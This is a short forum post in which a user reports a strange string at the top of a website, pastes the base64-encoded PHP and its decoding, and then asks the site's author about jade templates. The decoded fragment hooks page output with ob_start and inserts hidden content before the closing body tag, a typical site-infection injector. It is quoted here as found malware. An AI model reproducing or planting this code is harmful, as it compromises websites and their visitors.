Getting this string at the top of the site. Looks to be a b64 injection attack?

UjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?>

decoded:

"R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml().\"\n\".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }"

In any case - interesting project! Just curious - how many jade templates do you have, and how deep is your inheritance going?